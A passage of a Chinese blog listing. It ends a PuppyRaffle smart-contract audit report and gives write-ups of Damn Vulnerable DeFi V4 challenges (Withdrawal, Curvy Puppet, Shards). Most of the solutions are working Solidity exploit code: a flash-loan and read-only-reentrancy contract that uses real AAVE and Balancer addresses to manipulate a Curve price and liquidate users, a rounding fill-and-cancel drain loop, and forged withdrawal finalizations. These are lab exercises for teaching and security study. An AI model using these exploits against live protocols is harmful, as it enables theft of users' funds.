计算,仅为 ~ 18ETH 。这意味着,如果收取的费用超过 18ETH,fee铸造将截断该值。影响:这意味着feeAddress将无法收取正确数额的费用,而费用将永久地滞留在合同中。证明:抽奖活动收取的费用略高于 18 ETH把fee转化为uint64totalFees错误地更新了较低的金额可以通过运行以下命令在 foundry 的 chisel 中复制此操作:uint256 max = type(uint64).max uint256 fee = max + 1 uint64(fee) // prints 0建议的缓解措施:将 设置为PuppyRaffle::totalFeesauint256而不是uint64,并移除强制类型转换。他们的评论如下:// We do some storage packing to save gas但是如果我们必须重新铸造并且存在这个错误,那么节省的潜在气体是不值得的。- uint64 public totalFees = 0; + uint256 public totalFees = 0; . . . function selectWinner() external { require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over"); require(players.length >= 4, "PuppyRaffle: Need at least 4 players"); uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; address winner = players[winnerIndex]; uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; uint256 fee = (totalAmountCollected * 20) / 100; - totalFees = totalFees + uint64(fee); + totalFees = totalFees + fee;[M-4] 智能合约钱包抽奖获胜者没有receive或fallback将阻止新比赛的开始描述:该PuppyRaffle::selectWinner函数负责重置抽奖。但是,如果中奖者是一个拒绝付款的智能合约钱包,则抽奖将无法重新开始。非智能合约钱包用户可以重新进入,但是由于重复检查,可能会花费大量的gas。影响:该PuppyRaffle::selectWinner功能可能会多次恢复,并且使重置彩票变得非常困难,从而阻止新的彩票开始。此外,真正的赢家将无法获得奖金,而其他人将赢得他们的钱!证明:10个智能合约钱包参与抽奖,无回退或接收功能。抽奖结束selectWinner即使抽奖已经结束,该功能仍然无法使用!建议的缓解措施:有几个选项可以缓解这个问题。不允许智能合约钱包进入(不推荐)创建地址到支付的映射,以便获奖者可以自行提取资金,并让获奖者拥有领取奖金的所有权。(推荐)Informational / Non-Critical[I-1] Floating pragmas描述:合约应使用严格版本的 Solidity 语言。锁定版本可确保合约部署时使用的 Solidity 语言版本与测试时使用的版本一致。错误的版本可能会导致意外结果。https://swcregistry.io/docs/SWC-103/建议的缓解措施:锁定 pragma 版本。- pragma solidity ^0.7.6; + pragma solidity 0.7.6;[I-2] 神奇数字描述:所有数字字面量都应该替换为常量。这样可以使代码更易读且更易于维护。没有上下文的数字被称为“魔法数字”。建议的缓解措施:用常量替换所有魔术数字。+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80; + uint256 public constant FEE_PERCENTAGE = 20; + uint256 public constant TOTAL_PERCENTAGE = 100; . . . - uint256 prizePool = (totalAmountCollected * 80) / 100; - uint256 fee = (totalAmountCollected * 20) / 100; uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE; uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;[I-3] 测试覆盖率描述:测试覆盖率低于 90%。这通常意味着部分代码未经测试。| File | % Lines | % Statements | % Branches | % Funcs | | ---------------------------------- | -------------- | -------------- | -------------- | ------------- | | script/DeployPuppyRaffle.sol | 0.00% (0/3) | 0.00% (0/4) | 100.00% (0/0) | 0.00% (0/1) | | src/PuppyRaffle.sol | 82.46% (47/57) | 83.75% (67/80) | 66.67% (20/30) | 77.78% (7/9) | | test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7) | 100.00% (8/8) | 50.00% (1/2) | 100.00% (2/2) | | Total | 80.60% (54/67) | 81.52% (75/92) | 65.62% (21/32) | 75.00% (9/12) |建议的缓解措施:将测试覆盖率提高到 90% 或更高,尤其是对于Branches列。[I-4] 零地址验证描述:合约PuppyRaffle未验证 是否feeAddress为零地址。这意味着feeAddress可能会被设置为零地址,从而导致费用损失。PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#57) lacks a zero-check on : - feeAddress = _feeAddress (src/PuppyRaffle.sol#59) PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on : - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)建议的缓解措施:feeAddress每当更新时添加零地址检查。[I-5] _isActivePlayer 从未使用过,应将其移除描述:该功能PuppyRaffle::_isActivePlayer从未使用过,应被删除。- function _isActivePlayer() internal view returns (bool) { - for (uint256 i = 0; i < players.length; i++) { - if (players[i] == msg.sender) { - return true; - } - } - return false; - }[I-6] 不变的变量应该是常量或不可变的常量实例:PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant 不可变实例:PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable[I-7] 活跃玩家索引可能存在错误描述:该getActivePlayerIndex函数旨在当给定地址处于非活动状态时返回零。但是,当players数组的第一个位置存储活动地址时,它也可能返回零。这可能会使查询该函数以获取活动玩家索引的用户产生混淆。建议的缓解措施:返回 2**256-1(或任何其他足够高的数字)来表示给定的玩家处于非活动状态,以避免与活动玩家的索引发生冲突。[I-8] 零地址可能会被错误地视为活跃玩家描述:该函数通过将数组中相应的位置设置为零来refund移除活跃玩家。其文档证实了这一点,指出“此函数允许数组中存在空白位置”。然而,该函数并未考虑到这一点。如果有人在退款后调用函数并传递零地址,该函数会将零地址视为活跃玩家,并返回其在数组中的索引。players`getActivePlayerIndexgetActivePlayerIndexplayers`建议的缓解措施:players在迭代数组时跳过零地址getActivePlayerIndex。请注意,此更改意味着零地址永远无法成为活跃玩家。因此,最好也阻止零地址在enterRaffle函数中被注册为有效玩家。Gas(可选)getActivePlayerIndex返回 0。它是索引 0 处的玩家吗?或者它是无效的。MEV 具有退款功能。收取提现费的 MEV稀有性问题的随机性在 safemint 之前进行可重入抽奖
2025年09月14日
3 阅读
0 评论
1 点赞
2025-09-10
Damn-vulnerable-defi-V4-solution(Withdrawal)
一、Withdrawal背景:我们有四个日志事件,分别对应以下内容:event MessageStored( bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data );其中第一个日志的topics内容如下[ { "topics": [ "0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16", "0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5" ], "data": "0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba0000000000000000000000000000000000000000000000000000000066729b630000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010401210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, ... ]topics中的四行对应于事件签名和三个索引参数:nonce、caller和target。// topic of first Log (same for all Logs except for nonce) nonce: 0 caller: 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16 // l2Handler target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5 // l1Forwarder第一个日志的data部分如下// data from first Log eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id 0000000000000000000000000000000000000000000000000000000066729b63 // timestamp 0000000000000000000000000000000000000000000000000000000000000060 // offset 0000000000000000000000000000000000000000000000000000000000000104 // length 01210a38 // L1Forwarder.forwardMessage(uint256 nonce, // address l2Sender, address target,bytes memory message) 0000000000000000000000000000000000000000000000000000000000000000 // nonce 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender 0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge) 0000000000000000000000000000000000000000000000000000000000000080 // offset 0000000000000000000000000000000000000000000000000000000000000044 // length 81191e51 // TokenBridge.executeTokenWithdrawal(address receiver, uint256 amount) 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver 0000000000000000000000000000000000000000000000008ac7230489e80000 // amount 10e18 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000"检查其他三条日志的数据。事实证明,所有日志都对应于以下执行:最后,TokenBridge.executeTokenWithdrawal调用的金额为 10e18。然而,对于第三个 Log,金额要大得多——9.99e23。初始交易TokenBridge量为 1e24 DVT。我们的目标是完成所有四笔交易,同时保留至少 99% 的 DVT。这似乎不可能,因为第三次提款金额为 9.99e23 DVT。然而,我们只需要完成提款;也就是说,我们实际上不需要担心调用是否成功。即使调用失败,由于我们使用了call,也不会导致 revert,代码将继续执行。revert 的传播机制EVM 提供了两种“失败方式”:正常结束(STOP 或 RETURN) → 上层 CALL 的 success = 1。异常结束(REVERT 或 INVALID / out-of-gas) → 上层 CALL 的 success = 0。当 inner call 返回 success=0 时:如果你是直接写 CALL(即 Solidity 里的低级 address.call(...)),那么结果就只是一个布尔值,除非你自己处理,否则不会影响当前执行。如果你写的是“普通调用”(otherContract.foo()),Solidity 编译器在外层会自动检查 success,如果是 0,它会立刻发起一个 REVERT,把 returndata 原封不动返回给上层调用者。// L1GateWay.sol function finalizeWithdrawal( uint256 nonce, address l2Sender, address target, uint256 timestamp, bytes memory message, bytes32[] memory proof ) external { if (timestamp + DELAY > block.timestamp) revert EarlyWithdrawal(); bytes32 leaf = keccak256(abi.encode(nonce, l2Sender, target, timestamp, message)); // Only allow trusted operators to finalize without proof bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE); if (!isOperator) { if (MerkleProof.verify(proof, root, leaf)) { emit ValidProof(proof, root, leaf); } else { revert InvalidProof(); } } if (finalizedWithdrawals[leaf]) revert AlreadyFinalized(leaf); // state changes before external call finalizedWithdrawals[leaf] = true; counter++; xSender = l2Sender; bool success; assembly { success := call(gas(), target, 0, add(message, 0x20), mload(message), 0, 0) // call with 0 value. Don't copy returndata. } xSender = address(0xBADBEEF); emit FinalizedWithdrawal(leaf, success, isOperator); }因此,我们的想法是先完成第一笔、第二笔和第四笔提现,然后再进行一次额外的提现,这样我们的余额就能保持在 1e24 DVT 的 99% 以上,但低于 99.9%。这样,我们就可以尝试执行第三次提现——即使我们没有足够的余额来完成它,第三次提现仍然会被完成。这是我们的解决方案:我们执行三次最终提款(第一次、第二次和第四次)。l1Gateway.finalizeWithdrawal(nonce, l2Hander, l1Forwarder, message)在我们的解决方案中,我们使用十六进制字符串作为消息,但它实际上意味着什么?例如,第一个日志:message = abi.encodeCall(l1Forwarder.forwardMessage, (nonce, l2Sender, l1Gateway, abi.encodeCall(l1Gateway.executeTokenWithdrawal, (l2Sender, amount))为了最终完成,我们将第一、第二和第四次提款的金额分别设置为 10e18。在实际进行第三次提款之前,我们提取了 10e21(占所有代币的 0.1%)。由于剩余代币不足,因此无法提取 99.9%。之后,我们完成第三次提款,且不损失任何代币。function test_withdrawal() public checkSolvedByPlayer { bytes32[] memory proof = new bytes32[](0); vm.warp(block.timestamp + 7 days + 212); // Finalize first, second, fourth withdrawal l1Gateway.finalizeWithdrawal(0, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786915, hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(1, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786965, hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(3, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787127, hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); // Finalize an extra withdrawal before third withdrawal l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000", proof); // There are not enough tokens for withdrawal, so no tokens are withdrawn l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", proof); }
2025年09月10日
11 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Curvy Puppet)
一、Curvy Puppet背景:我们有一个 Curve 池,用于实现 ETH 和 stETH 之间的稳定兑换。此外,我们还有一个借贷池,允许用户通过抵押 DVT 代币从 Curve 池中借入 LP 代币。在此设置中,DVT 代币价值 10,而 ETH 价值 4000。LP 代币具有虚拟价格,定义为总流动性(记为D)除以 LP 代币的总供应量。初始虚拟价格约为 1.09 ETH。三位用户分别存入2500 DVT(总价值 25,000)作为抵押品,借入1 个 LP 代币(价值约 4,360)。只要抵押品价值高于借入价值的 1.75 倍,则抵押品被视为安全。否则,任何人都可以调用该liquidate()函数,通过偿还借入的 LP 代币数量来扣押抵押品。我们可以观察到,池子里有 35 万个 ETH 和 stETH,其中约有 70 万个 LP 代币被铸造。我们初始投入的是 200 个 WETH 和 6.5 个 LP 代币。Curve 池的 AMM 公式如下$$ K × D × (x+y) + x × y =K × D² + (D / 2)² $$$$ K = A × x × y / (D / 2)² $$其中,A为放大参数,D表示总流动性。不难看出,这个方程介于两种行为之间:在平衡点 x ≈ y ≈ D / 2 附近,该公式的行为类似于线性不变量:x + y = D。当一个代币变得稀缺时(例如 x → 0),它的行为更像一个常数乘积不变量:x × y = (D / 2)²。Curve stable swap使用牛顿法,通过给定另一个数值来求解 x 或 y。注意:与 Uniswap V2 或 V3 不同,Curve 的稳定币兑换不能用于闪电贷。您必须先存入一个代币,然后才能兑换另一个代币——Curve 没有原生机制可以通过回调在单笔交易中借入和返还代币。挑战在于操纵预言机价格,使借入价值的 1.75 倍超过抵押品价值,从而实现清算。DVT 价格(以 ETH 为单位)由部署者固定为每 ETH 10 DVT(ETH 价格为 4000),且不可更改。然而,LP 代币价格取决于虚拟价格乘以 ETH 价格,其中虚拟价格计算公式为:D / LP 代币总量如果我们能够获得足够多的 LP 代币,我们可以尝试以下策略:在这种情况下,我们能够操纵并提高预言机观察到的价格。这就是所谓的只读重入漏洞的一个实例。那么,我们需要多少 LP 代币才能发起这次攻击呢?我们只持有 6.5 个 LP 代币,而 LP 代币总数为 69,000 个,因此仅用我们自己的代币移除流动性几乎不会对虚拟价格产生任何影响。攻击思路准备闪电贷资金从 AAVE 借入大额的 stETH + WETH。再从 Balancer 借入额外的 WETH,叠加资金规模。操纵 Curve 池子价格把 WETH 换成 ETH,和 stETH 一起加到 Curve 池子里,制造流动性失衡。这样能显著改变 get_virtual_price()。移除流动性,触发回调大规模移除流动性,导致协议认为抵押品贬值。在 Curve 返还 ETH 的过程中,会触发合约的 receive()。在回调中执行清算调用 CurvyPuppetLending.liquidate(),一次性清算 Alice / Bob / Charlie 三个用户。因为此时价格被操纵,清算逻辑错误 → 攻击者获利。归还闪电贷 & 提取利润把借来的资金归还给 AAVE 和 Balancer。最后把 WETH + 1 个 LP token + 7500 DVT 转回 Treasury,完成关卡要求。function test_curvyPuppet() public checkSolvedByPlayer { IERC20 curveLpToken = IERC20(curvePool.lp_token()); Exploit exploit = new Exploit( curvePool, lending, curveLpToken, address(player), TREASURY_LP_BALANCE, stETH, weth, address(treasury), dvt ); // Transfer LP tokens and WETH to the exploit contract curveLpToken.transferFrom(address(treasury), address(exploit), TREASURY_LP_BALANCE); weth.transferFrom(address(treasury), address(exploit), TREASURY_WETH_BALANCE); exploit.executeExploit(); }contract Exploit { IStableSwap public curvePool; CurvyPuppetLending public lending; IERC20 public curveLpToken; address public player; uint256 public treasuryLpBalance; IERC20 stETH; WETH weth; address treasury; DamnValuableToken dvt; IPermit2 constant permit2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3); IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); constructor( IStableSwap _curvePool, CurvyPuppetLending _lending, IERC20 _curveLpToken, address _player, uint256 _treasuryLpBalance, IERC20 _stETH, WETH _weth, address _treasury, DamnValuableToken _dvt ) { curvePool = _curvePool; lending = _lending; curveLpToken = _curveLpToken; player = _player; treasuryLpBalance = _treasuryLpBalance; stETH = _stETH; weth = _weth; treasury = _treasury; dvt = _dvt; } function manipulateCurvePool() public { // Step 1: Add liquidity to the Curve pool weth.withdraw(58685 ether); console.log("LP token price before removing liquidity:", curvePool.get_virtual_price()); // To call the exchange function of the Curve Pool to swap ETH for stETH. stETH.approve(address(curvePool), type(uint256).max); uint256[2] memory amount; amount[0] = 58685 ether; amount[1] = stETH.balanceOf(address(this)); console.log("my weth balance", weth.balanceOf(address(this))); console.log("my eth balance", address(this).balance); curvePool.add_liquidity{value: 58685 ether}(amount, 0); uint256 virtualPrice = curvePool.get_virtual_price(); console.log("LP token price after add liquidity:", virtualPrice); } function removeLiquidity() public { // Step 2: Remove liquidity from the Curve pool uint256[2] memory min_amounts = [uint256(0), uint256(0)]; uint256 lpBalance = curveLpToken.balanceOf(address(this)); curvePool.remove_liquidity(lpBalance - 3000000000000000001, min_amounts); // Removing liquidity console.log("LP token price after2 removing liquidity:", curvePool.get_virtual_price()); } function executeExploit() public { // Allow lending contract to pull collateral IERC20(curvePool.lp_token()).approve(address(permit2), type(uint256).max); permit2.approve({ token: curvePool.lp_token(), spender: address(lending), amount: 5e18, expiration: uint48(block.timestamp) }); stETH.approve(address(AaveV2), type(uint256).max); weth.approve(address(AaveV2), type(uint256).max); address[] memory assets = new address[](2); assets[0] = address(stETH); assets[1] = address(weth); uint256[] memory amounts = new uint256[](2); amounts[0] = 172000 * 1e18; amounts[1] = 20500 * 1e18; uint256[] memory modes = new uint256[](2); modes[0] = 0; modes[1] = 0; AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0); weth.transfer(treasury, weth.balanceOf(address(this))); curveLpToken.transfer(treasury, 1); dvt.transfer(treasury, 7500e18); } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) external returns (bool) { console.log("AAVE flashloan stETH balance:", stETH.balanceOf(address(this))); console.log(" wETH balancer:", weth.balanceOf(address(Balancer))); address[] memory tokens = new address[](1); tokens[0] = address(weth); uint256[] memory amounts1 = new uint256[](1); amounts1[0] = 37991 ether; bytes memory userData = ""; Balancer.flashLoan(address(this), tokens, amounts1, userData); return true; } function receiveFlashLoan( address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { manipulateCurvePool(); removeLiquidity(); weth.deposit{value: 37991 ether}(); weth.transfer(address(Balancer), 37991 ether); uint256 ethAmount = 12963923469069977697655; uint256 min_dy = 1; curvePool.exchange{value: ethAmount}(0, 1, ethAmount, min_dy); weth.deposit{value: 20518 ether}(); console.log(" stETH balance2:", stETH.balanceOf(address(this))); console.log(" wETH balance2:", weth.balanceOf(address(this))); console.log(" ETH balance2:", (address(this).balance)); console.log(" my LP balance2:", curveLpToken.balanceOf(address(this))); } // Receive function to handle ETH receive() external payable { if (msg.sender == address(curvePool)) { console.log("LP token price during removing liquidity:", curvePool.get_virtual_price()); address[3] memory users = [ 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, // Alice 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, // Bob 0xea475d60c118d7058beF4bDd9c32bA51139a74e0 // Charlie ]; console.log("msg.sender", address(this)); for (uint256 i = 0; i < users.length; i++) { lending.liquidate(users[i]); console.log("Liquidated user:", users[i]); } } } } interface IAaveFlashloan { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface IBalancerVault { function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external; }
2025年09月09日
2 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Shards)
一、Shards背景:我们有一个销售 NFT 的市场。每个 NFT 的价格为 1,000,000e6 USDC,USDC 兑换 DVT 的汇率为 75e15。该市场允许购买 NFT 的一部分,类似于购买股票。总共有 10,000,000e18 股。问题在于 中的以下函数ShardsNFTMarketplace.sol。ShardsFeeVault市场还允许用户质押 DVT 来赚取利息,但这可能与此无关。function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) { Offer storage offer = offers[offerId]; if (want == 0) revert BadAmount(); if (offer.price == 0) revert UnknownOffer(); if (want > offer.stock) revert OutOfStock(); if (!offer.isOpen) revert NotOpened(offerId); offer.stock -= want; purchaseIndex = purchases[offerId].length; uint256 _currentRate = rate; purchases[offerId].push( Purchase({ shards: want, rate: _currentRate, buyer: msg.sender, timestamp: uint64(block.timestamp), cancelled: false }) ); paymentToken.transferFrom( msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards) ); if (offer.stock == 0) _closeOffer(offerId); } /** * @notice To cancel open offers once the waiting period is over. */ function cancel(uint64 offerId, uint256 purchaseIndex) external { Offer storage offer = offers[offerId]; Purchase storage purchase = purchases[offerId][purchaseIndex]; address buyer = purchase.buyer; if (msg.sender != buyer) revert NotAllowed(); if (!offer.isOpen) revert NotOpened(offerId); if (purchase.cancelled) revert AlreadyCancelled(); if ( purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp || block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL ) revert BadTime(); offer.stock += purchase.shards; assert(offer.stock <= offer.totalShards); // invariant purchase.cancelled = true; emit Cancelled(offerId, purchaseIndex); paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6)); } /** * @notice Allows an oracle account to set a new rate of DVT per USDC */ function setRate(uint256 newRate) external { if (msg.sender != oracle) revert NotAllowed(); if (newRate == 0 || rate == newRate) revert BadRate(); rate = newRate; }该fill功能允许我们提交所需数量的股票并使用 DVT 支付:数量 = 需求 / 总碎片数 × 价格 × 费率= want / 10_000_000e18 × 75e15 × 1_000_000 = want × 75 / 1_0_000攻击角度是这里的除法是向下取整的(即使用了floor函数),而Solidity只有整数,所以只要want ≤ 133,支付就是零,即我们可以提交一个fill offer获得133个免费share。让我们看一下这个cancel函数,因为有一个关键缺陷,取消函数会取消我们提交的订单。如果我们取消订单,我们将从这个函数中得到want× 75e15 / 1e6。这里的问题是 1e6 与 1e24 不匹配,也就是总份额。也就是说,这个函数的设计存在错误cancel。因此,通过取消分片为 133 的订单,我们可以得到133 × 75e15 / 1e6 = 9975000000000 DVT 代币。要通过挑战,我们需要获得超过 75e15 个 DVT 代币(相当于市场初始代币数量的 1/10000)。因此,我们至少需要 75e15 / 9975000000000 = 7519 次才能达到目标。function test_shards() public checkSolvedByPlayer { new Attacker(marketplace, token, recovery); }contract Attacker { constructor(ShardsNFTMarketplace marketPlace, DamnValuableToken token, address recovery) { for (uint256 i = 0; i < 7519; i++) { marketPlace.fill(1, 133); marketPlace.cancel(1, i); } token.transfer(recovery, token.balanceOf(address(this))); } }
2025年09月09日
4 阅读
0 评论
1 点赞
1
2
...
7